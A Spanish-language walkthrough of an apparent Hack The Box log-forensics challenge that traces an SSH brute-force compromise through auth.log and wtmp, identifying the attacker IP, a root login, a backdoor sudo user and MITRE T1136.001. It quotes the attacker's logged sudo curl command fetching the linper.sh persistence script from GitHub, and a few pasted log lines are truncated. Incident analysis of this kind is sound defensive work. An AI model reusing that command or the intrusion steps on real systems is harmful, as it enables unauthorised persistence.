

Nos encontramos con un .zip que al descomprimirlo tenemos un archivo auth.log, un archivo utmp.py y un binario wtmp.

```
> ls
auth.log  utmp.py  wtmp
```

auth.log: es un archivo típico de output tracking en tiempo real para servicios daemon como sshd, acciones sudo, cron jobs...

utmp.py: parece ser un script para decodificar desde binario el archivo "wtmp". Viene con él varios parámetros como:

Type, PID (Process ID) , Line (terminal line tty/pts) , ID (identificador), User, Host (hostname ID), Exit (exit status).

wtmp: hacemos un file "wtmp" y nos dice que es un binario, con la utilidad last nos muestra un timeline.

```
> last wtmp
wtmpdb begins Sun Mar 29 19:34:43 2026
```

Donde voy a mirar primero y además donde parece que tenemos más información es en el auth.log. Tenemos un tracking bastante exhaustivo de peticiones desde las 6:18:01 hasta las 6:41:01

Con un simple vistazo ya vemos que estamos ante un brute-force attack al servicio SSH.

```
Mar 6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2329]: Failed password for invalid user admin from 65.2.161.68 port 46414 ssh2
Mar 6 06:31:33 ip-172-31-35-28 sshd[2333]: Failed password for invalid user admin from 65.2.161.68 port 46452 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2352]: Failed password for backup from 65.2.161.68 port 46568 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2351]: Failed password for backup from 65.2.161.68 port 46538 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2355]: Failed password for backup from 65.2.161.68 port 46576 ssh2
Mar 6 06:31:34 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
```

La primera pregunta que nos hace HTB es:

Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?:

R: 65.2.161.68

Pregunta 2:

The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?

R: root

Mirando la ip sospechosa y comprobando a la vez las conexiones aceptadas por ssh vemos que accede como root al sistema.

```
44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
```

Pregunta 3:

Identify the UTC timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

R: 2024-03-06 06:32:45

Para obtener este timestamp he necesitado de utmpdump (convierte el binario a un json/csv legible). En principio se puede descargar desde el paquete util-linux pero por alguna razón no me aparece el comando así que voy a descargar su binario directamente.

También podríamos haber usado el .py ambas formas son correctas.

Simplemente buscamos root y la ip sospechosa con grep/rg y ahí tenemos el timestamp en CET, lo pasamos UTC y ya.

```
./utmpdump_linux_amd64 -f wtmp > wtmp.decoded
ls
auth.log  utmp.py  utmpdump_linux_amd64  wtmp  wtmp.decoded
cat wtmp.decoded | rg -C 10 'root.*65'
{"Type":8,"Pid":842073,"Device":"pts/1","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Sun, 11 Feb 2024 12:08:04 CET","Addr":"0.0.0.0"}
{"Type":8,"Pid":836694,"Device":"pts/0","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Sun, 11 Feb 2024 12:08:04 CET","Addr":"0.0.0.0"}
{"Type":1,"Pid":0,"Device":"","Id":"","User":"shutdown","Host":"6.2.0-1017-aws","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Sun, 11 Feb 2024 12:09:18 CET","Addr":"0.0.0.0"}
{"Type":2,"Pid":0,"Device":"","Id":"","User":"reboot","Host":"6.2.0-1018-aws","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:17:15 CET","Addr":"0.0.0.0"}
{"Type":5,"Pid":464,"Device":"ttyS0","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":464,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":6,"Pid":464,"Device":"ttyS0","Id":"","User":"LOGIN","Host":"","Exit":{"Termination":0,"Exit":0},"Session":464,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":5,"Pid":505,"Device":"tty1","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":505,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":6,"Pid":505,"Device":"tty1","Id":"","User":"LOGIN","Host":"","Exit":{"Termination":0,"Exit":0},"Session":505,"Time":"Wed, 06 Mar 2024 07:17:27 CET","Addr":"0.0.0.0"}
{"Type":1,"Pid":53,"Device":"","Id":"","User":"runlevel","Host":"6.2.0-1018-aws","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:17:29 CET","Addr":"0.0.0.0"}
{"Type":7,"Pid":1583,"Device":"pts/0","Id":"","User":"root","Host":"203.101.190.9","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:19:55 CET","Addr":"203.101.190.9"}
{"Type":7,"Pid":2549,"Device":"pts/1","Id":"","User":"root","Host":"65.2.161.68","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:32:45 CET","Addr":"65.2.161.68"}
{"Type":8,"Pid":2491,"Device":"pts/1","Id":"","User":"","Host":"","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:37:24 CET","Addr":"0.0.0.0"}
{"Type":7,"Pid":2667,"Device":"pts/1","Id":"","User":"cyberjunkie","Host":"65.2.161.68","Exit":{"Termination":0,"Exit":0},"Session":0,"Time":"Wed, 06 Mar 2024 07:37:35 CET","Addr":"65.2.161.68"}
```

Pregunta 4:

SSH Login sessions are tracked and assigned a session number upon logon. What is attacker's session number for the user account from Question 2?

R: 37

Simplemente vamos a la sesión en el auth.log y ahí mismo indica el número de sesión

```
44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
```

Pregunta 5:

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

R: cyberjunkie

Por lo general los atacantes crean nuevos usuarios para tener persistencia en el sistema.

Simplemente buscando useradd/usermod/groupadd en el log encontramos que en la línea 336 añadió al sistema un nuevo usuario llamado "cyberjunkie", además en los siguientes logs muestra que añade este mismo usuario al group sudo por lo que ahora podría

consecuentemente ejecutar comandos con privilegios elevados con sudo.

```
useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash
passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
chfn[2605]: changed user 'cyberjunkie' information
```

Pregunta 6:

What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

R: T1136.001

Haciendo una simple búsqueda en google nos dice que crear una cuenta local el ID de la subtecnica es T1136.001

The MITRE ATT&CK sub-technique ID for persistence by creating a new account is **T1136**. MITRE ATT&CK® +1

It contains the following specific sub-techniques depending on the environment: MITRE ATT&CK® +1

- **T1136.001: Local Account** (on standalone systems or workstations)

Pregunta 7:

What time did the attacker's first SSH session end according to auth.log?

R: 2024-03-06 06:37:24

En el archivo auth.log debemos filtrar por "logged out" y nos aparecerá la sesión desconectada de root por cyberjunkie

```
r 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
r 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
r 6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.
r 6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2
r 6 06:37:34 ip-172-31-35-28 sshd[2667]: pam_unix(sshd:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
```

Pregunta 8:

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

R: /usr/bin/curl <https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh>

El atacante usó linper.sh que se lo descargó desde github usando la utilidad curl.

```
16:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
16:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
16:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
```